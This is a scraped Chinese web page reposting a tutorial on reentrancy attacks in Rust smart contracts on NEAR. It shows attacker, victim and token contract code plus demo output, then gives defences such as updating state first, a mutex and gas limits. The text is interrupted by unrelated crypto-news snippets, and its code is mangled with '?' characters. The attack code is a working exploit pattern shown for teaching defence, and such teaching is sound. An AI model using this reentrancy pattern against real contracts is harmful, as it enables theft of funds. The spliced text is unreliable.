以太坊價格 以太坊價格
Ctrl+D 以太坊價格
ads

Rust 智能合約養成日記: 合約安全之重入攻擊

Author:

Time:1900/1/1 0:00:00

往期回顧:

Rust智能合約養成日記合約狀態數據定義與方法實現Rust智能合約養成日記編寫Rust智能合約單元測試Rust智能合約養成日記Rust智能合約部署,函數調用及Explorer的使用Rust智能合約養成日記Rust智能合約整數溢出這一期中我們將向大家展示Rust合約中重入攻擊,并提供給開發者相應的建議。本文中的相關代碼,已上傳至BlockSec的Github上,讀者可以自行下載:https://github.com/blocksecteam/near_demo

1.重入攻擊原理

我們用現實生活中的簡單例子來理解重入攻擊:即假設某用戶在銀行中存有100元現金,當用戶想要從銀行中取錢時,他將首先告訴柜員-A:“我想要取60元”。柜員-A此時將查詢用戶的余額為100元,由于該余額大于用戶想要取出的數額,所以柜員-A首先將60元現金交給了該位用戶。但是當柜員-A還沒有來得及將用戶的余額更新為40元的時,用戶跑去隔壁告訴另一位柜員-B:“我想要取60元”,并隱瞞了剛才已經向柜員-A取錢的事實。由于用戶的余額還沒有被柜員-A更新,柜員-B檢查用戶的余額仍舊為100元,因此柜員-B將毫不猶豫地繼續將60元交給用戶。最終用戶實際已經獲得了120元現金,大于之前存在銀行中的100元現金。

為什么會發生這樣的事情呢?究其原因還是因為柜員-A沒有事先將用戶的60元從該用戶的賬戶中扣除。若柜員-A能事先扣除金額。用戶再詢問柜員-B取錢時,柜員-B就會發現用戶的余額已更新,無法取出比余額(40元)更多的現金了。

以上述“從銀行取錢”這一典型過程為例,映射到具體的智能合約世界中來,實際上跨合約調用行為的發生和真正更新本地所維護的合約數據之間也同樣地存在一定的時間間隔。而該時間間隔的存在以及這兩個步驟之前不恰當的順序關系,將給攻擊者實施重入攻擊創造有利條件。

下文第2小節將首先介紹相關的背景知識,第3小節將在NEARLocalNet中演示說明一個具體的重入攻擊例子,以體現代碼重入對于部署在NEAR鏈上的智能合約的危害性。本文最后將具體介紹針對重入攻擊的防護技術,幫助大家更好的編寫Rust智能合約。

灰度成立Grayscale Funds Trust 向SEC提交ETF注冊申請:金色財經報道,數字貨幣資產管理公司灰度(Grayscale Investments?)宣布成立Grayscale Funds Trust,該基金是特拉華州的法定信托結構,支持Grayscale獨立管理其ETF專營權。

Grayscale還宣布向美國證券交易委員會(\"SEC\")提交了Grayscale Ethereum Futures ETF、Grayscale Global Bitcoin Composite ETF和Grayscale Privacy ETF的N-1A表格注冊聲明,三支ETF都是Grayscale Funds Trust的系列。(globenewswire)[2023/5/10 14:53:10]

2.背景知識:NEP141的轉賬操作

NEP141為NEAR公鏈上的FungibleToken標準。大部分NEAR上的Token都遵循NEP141標準。

當某一用戶想要從某一個Pool中,如去中心化交易所,充值(deposite)或者提現(withdraw)一定數額的Token時,用戶便可以調用相應的合約接口完成具體的操作。

DEX項目合約在執行所對應的接口函數時,將調用Token合約中的ft_transfer/ft_transfer_call函數,實現正式的轉賬操作。這兩個函數的區別如下:

當調用Token合約中的ft_transfer函數時,轉賬的接收者(receiver_id)為EOA賬戶。當調用Token合約中的ft_transfer_call函數時,轉賬的接收者(receiver_id)為合約賬戶。而對于ft_transfer_call而言,該方法內部除了首先會扣除該筆交易發起者(sender_id)的轉賬數額,并增加受轉賬用戶(receiver_id)的余額,此外還額外增加了對receiver_id合約中ft_on_transfer(收幣函數)的跨合約調用。這里可以簡單理解為,此時Token合約將提醒receiver_id合約,有用戶存入了指定數額的Token。receiver_id合約將在ft_on_transfer函數中自行維護內部賬戶的余額管理。

3.代碼重入的具體實例

前NYDFS監管者加入Standard Custody & Trust Co.董事會:金色財經報道,PolySign的子公司Standard Custody & Trust Co宣布任命Matthew Homer為其董事會成員。Homer加入了來自傳統金融和去中心化金融領域的杰出領導團隊,他們支持Standard Custody構建機構數字資產未來所需的基礎設施。Homer是紐約金融服務部 (NYDFS) 研究與創新部門的首任執行副主管,他的職責包括加密貨幣和數字資產。

他現在是加密貨幣和數字資產領域公司的全職投資者和顧問。此前,荷馬曾在聯邦政府擔任美國國際開發署的數字金融高級政策顧問,并在 FDIC 擔任政策官員,專注于新興技術和消費者保護。他曾在聯合國、世界銀行、阿斯彭研究所和劍橋另類金融中心擔任顧問職務。[2022/10/16 14:29:26]

假設存在如下3個智能合約:

合約A:Attacker合約;攻擊者將利用該合約實施后續的攻擊交易。合約B:Victim合約。為一個DEX合約。初始化的時候,Attacker賬戶擁有余額100,DEX的其他用戶擁有余額100。即此時DEX合約總共持有了200個Token。##pub?struct?VictimContract?{??attacker_balance:?u128,??other_balance:?u128,}?impl?Default?for?VictimContract?{??fn?default()?->?Self?{????Self?{??????attacker_balance:?100,??????other_balance:100???}?}}

合約C:Token合約。

攻擊發生前,因為Attacker賬戶沒有從Victim合約提現,所以余額為0,此時Victim合約(DEX)的余額為100+100=200;

##pub?struct?FungibleToken?{??attacker_balance:?u128,??victim_balance:?u128}?impl?Default?for?FungibleToken?{??fn?default()?->?Self?{????Self?{??????attacker_balance:?0,??????victim_balance:?200???}?}?

Russell Coin(RC)將于3月29日16:00開啟RC/USDT交易:據ZBG官方消息,Russell Coin(RC)將于3月29日16:00開啟RC/USDT交易;另外“充值RC瓜分1萬枚RC”活動已于24日啟動,活動期間,用戶從外部地址向平臺成功充值RC的用戶,將按照凈充值(充值-提現)數量瓜分總計1萬枚RC獎勵。

羅素幣(RC)于2017年11月21日創世,總量2100萬個。RC科學的采用了完全去中心化的主節點獎勵計劃,POW挖礦納稅給主節點的激勵機制,結合最新X20R算法,達到電腦挖礦能耗更低,抗雙花攻擊,環形加密匿名性更強。獨創安卓手機錢包的X20R科學算法,實現了移動匿名區塊快速轉賬技術。更多詳情請咨詢官網公告。[2021/3/25 19:17:36]

下面描述該代碼重入攻擊的具體流程:

Attacker合約通過malicious_call函數,調用Victim合約中的withdraw函數;例如此時Attacker給withdraw函數傳入amount參數的值為60,希望從合約B中提現60;

impl?MaliciousContract?{??pub?fn?malicious_call(&mut?self,?amount:u128){????ext_victim::withdraw(??????amount.into(),??????&VICTIM,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?????);?}...}

在合約B中,withdraw函數開頭處的assert!(self.attacker_balance>=amount);`將檢查Attacker賬戶是否有足夠的余額,此時余額100>60,將通過斷言,執行withdraw中后續的步驟。impl?VictimContract?{??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????//CallAttacker的收幣函數????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}...}?

TrustBase自主研發波卡智能合約編程語言SubScript:據官方消息,TrustBase基于波卡智能合約獨立開發編程語言SubScript,用于優化波卡生態中的開發體驗。Subscript是一個用于Polkadot Wasm智能合約的編程語言,可以提供WebAssembly原生的的智能合約編程環境和IDE支持。相對于當前Parity官方維護的ink!語言,Subscript無需rust編程基礎,任何具備web開發基礎的DApp開發者都可以快速上手Subscript語言。Subscript此前已獲得Web3基金會的官方資助。

TrustBase是一個支持跨鏈消息的波卡Wasm智能合約平行鏈,為開發者提供了方便易用的合約語言及編程工具,DApp開發者不需要拍賣波卡中繼鏈插槽,就可以訪問波卡的XCMP跨鏈消息。[2020/12/19 15:46:32]

合約B中的withdraw函數接著將調用合約C中的ft_transfer_call函數;通過上述代碼中的ext_ft_token::ft_transfer_call實現跨合約調用。

合約C中的ft_transfer_call函數,將更新attacker賬戶的余額=0+60=60,以及Victim合約賬戶的余額=200-60=140,隨后通過ext_fungible_token_receiver::ft_on_transfer調用合約A的ft_on_transfer“收幣”函數。#impl?FungibleToken?{??pub?fn?ft_transfer_call(&mut?self,amount:?u128)->?PromiseOrValue<U128>{????//相當于internal_ft_transfer????self.attacker_balance?+=?amount;????self.victim_balance???-=?amount;?????//CallAttacker的收幣函數????ext_fungible_token_receiver::ft_on_transfer(??????amount.into(),??????&ATTACKER,??????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?????).into()?}...}

動態 | TrustED推出教育背景調查區塊鏈平臺:據coinjournal報道,澳大利亞創業公司TrustED推出了基于區塊鏈的學術證書驗證服務。該平臺利用區塊鏈技術使教育機構和畢業生能夠為雇主存儲和認證成績和證書,簡化了學術證書在確保合法性的同時得到驗證的過程。[2018/11/22]

由于合約A被Attacker所控制,并且代碼存在惡意的行為。所以該“惡意”的ft_on_transfer函數可以再次通過執行ext_victim::withdraw,調用合約B中的withdraw函數,以此達到重入的效果。#impl?MaliciousContract?{??pub?fn?ft_on_transfer(&mut?self,?amount:?u128){????//惡意合約的收幣函數????if?self.reentered?==?false{??????ext_victim::withdraw(????????amount.into(),????????&VICTIM,?????????0,?????????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL???????);???}????self.reentered?=?true;?}...}

由于上一次進入withdraw以來,victim合約中的attacker_balance還沒有更新,所以還是100,因此此時仍舊可以通過assert!(self.attacker_balance>=amount)的檢查。withdraw后續將再次在FT_Token合約中跨合約調用ft_transfer_call函數,更新attacker賬戶的余額=60+60=120,以及Victim合約賬戶的余額=140-60=80;ft_transfer_call再次調用回Attacker合約中的ft_on_transfer函數。由于目前設置合約A中ft_on_transfer函數只會重入withdraw函數一次,所以重入行為在本次ft_on_transfer的調用時終止。此后函數將沿著之前的調用鏈逐級返回,導致合約B中的withdraw函數中在更新self.attacker_balance的時候,最終使得self.attacker_balance=100-60-60=-20由于self.attacker_balance是u128,且并沒有使用safe_math,因此將導致整數的溢出現象。最終執行的結果如下:

$node?Triple_Contracts_Reentrancy.js?FinishinitNEARFinishdeploycontractsandcreatetestaccountsVictim::attacker_balance:3.402823669209385e+38FT_Token::attacker_balance:120FT_Token::victim_balance:80

即盡管用戶Attacker在DEX中鎖定的FungibleToken余額僅100,但是最終Attacker實際獲得的轉賬為120,實現了本次代碼重入攻擊的目的。

4.代碼重入防護技術

4.1先更新和與狀態,再轉賬。

更改合約B代碼withdraw中的執行邏輯為:

#impl?VictimContract?{??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????self.attacker_balance?-=?amount;????//CallAttacker的收幣函數????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}

??#??pub?fn?ft_resolve_transfer(&mut?self,?amount:?u128){????match?env::promise_result(0){??????PromiseResult::NotReady?=>?unreachable!(),??????PromiseResult::Successful(_)?=>?{?????}??????PromiseResult::Failed?=>?{???????//若ext_ft_token::ft_transfer_call跨合約調用轉賬失敗,???????//則回滾之前賬戶余額狀態的更新self.attacker_balance?+=?amount;??????}???};?}

此時的執行效果如下:

$node?Triple_Contracts_Reentrancy.js?FinishinitNEARFinishdeploycontractsandcreatetestaccountsReceipt:873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X???Failure:Error:{"index":0,"kind":{"ExecutionError":"Smartcontractpanicked:panickedat'assertionfailed:self.attacker_balance>=amount',src/lib.rs:45:9"}}Victim::attacker_balance:40FT_Token::attacker_balance:60FT_Token::victim_balance:140

可見由于此時的Victim合約在withdraw的時候事先更新了用戶的余額,在調用外部的FungibleToken實施轉賬。因此當第二次重入了withdraw的時候,Victim合約中保存的attacker_balance已經更新為40,因此將無法通過assert!(self.attacker_balance>=amount);使得Attcker的調用流程由于觸發了AssertionPanic,無法利用代碼重入進行套利。

4.2引入互斥鎖

該方法類似于當柜員-A還沒有來得及將用戶的余額更新為40元的時,用戶跑去隔壁告訴另一位柜員-B:“我想要取60元”。盡管用戶隱瞞了剛才已經向柜員-A取錢的事實。但是柜員-B卻能夠知道用戶已經去過柜員-A那里,并且還沒有辦結所有的事項,此時柜員-B便可以拒絕用戶來取錢。通常情況下可以通過引入一個狀態變量,來實現一個互斥鎖

4.3設置GasLimit

例如在DEX合約的withdraw方法調用ext_ft_token::ft_transfer_call時,設置一個適當的GasLimit。此GasLimit將不夠支持下一次代碼再次重入DEX合約的withdraw函數,以此阻斷重入攻擊的能力。

例如對代碼做如下修改,限制withdraw方法調用外部函數時的GasLimit:

??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????//CallAttacker的收幣函數????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,?-???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2+???????GAS_FOR_SINGLE_CALL?*?3?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}

修改后執行效果如下

$node?Triple_Contracts_Reentrancy.jsFinishinitNEARFinishdeploycontractsandcreatetestaccountsReceipt:5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX???Failure:Error:{"index":0,"kind":{"ExecutionError":"Exceededtheprepaidgas."}}Victim::attacker_balance:40FT_Token::attacker_balance:60FT_Token::victim_balance:140

可見限制跨合約函數調用時的GasLimit也能起到防止重入攻擊的效果。

本期總結和預告

這一期我們講述了rust智能合約中的整數溢出問題,同時給出了建議,在書寫代碼時盡量先更新狀態,再執行轉賬操作,并且設定合適的gas值,可以有效抵御重入攻擊,下一期我們將講述rust智能合約中的DoS問題,敬請關注。

Tags:TRATACATTACKTRATtac幣崩盤rattlesnaketokenETHBACK幣

比特幣價格今日行情
數字貨幣:為什么目前日本央行沒有發行CBDC的計劃?

CBDC不僅僅是一種金融手段,也和外交有一定的關系。隨著中國深入推動數字人民幣,韓國在考慮使用數字韓元。日本也在考慮自己是否要開始準備CBDC.

1900/1/1 0:00:00
MMIT:智能合約安全審計入門篇 —— 搶跑

背景概述 在上篇文章中我們了解了合約中隱藏的惡意代碼,本次我們來了解一個非常常見的攻擊手法——搶跑.

1900/1/1 0:00:00
NFT:巴比特午間要聞一覽

1.彭博社ETF分析師:Valkyrie申請在美國推出1.25倍杠桿比特幣期貨ETF2.《經濟學人》DeFi主題封面NFT以99.

1900/1/1 0:00:00
GPT:巴比特 | 元宇宙每日必讀:“一個晚上,播放量就達到十幾萬”,AI孫燕姿、AI周杰倫們成為B站、抖音的流量密碼,但版權問題不容忽視

摘要:據剁椒娛投報道,ChatGPT引發的技術變革快速蔓延,直接沖擊至內容創作領域,甚至將AIGC演變成為內容平臺的一個重要板塊.

1900/1/1 0:00:00
USD:QKL123 投研 | 短期打破下跌結構,市場情緒迅速修復

市場概述: 自上期報告所述,比特幣、以太坊和UNI當時均處于結構打破的臨界點,后同時放量突破結構的壓制,市場情緒出現迅速反彈,后回踩仍然不改變結構打破短期看多的有效性.

1900/1/1 0:00:00
DIN:金色早報 | 美SEC的托管提案目前正面臨著廣泛批評

頭條 ▌美SEC的托管提案目前正面臨著廣泛批評美國證券監管機構最近提議要求投資顧問將客戶的加密貨幣資產存放在“合格的托管人”那里,現在正面臨著對未來潛在規則的廣泛批評.

1900/1/1 0:00:00
ads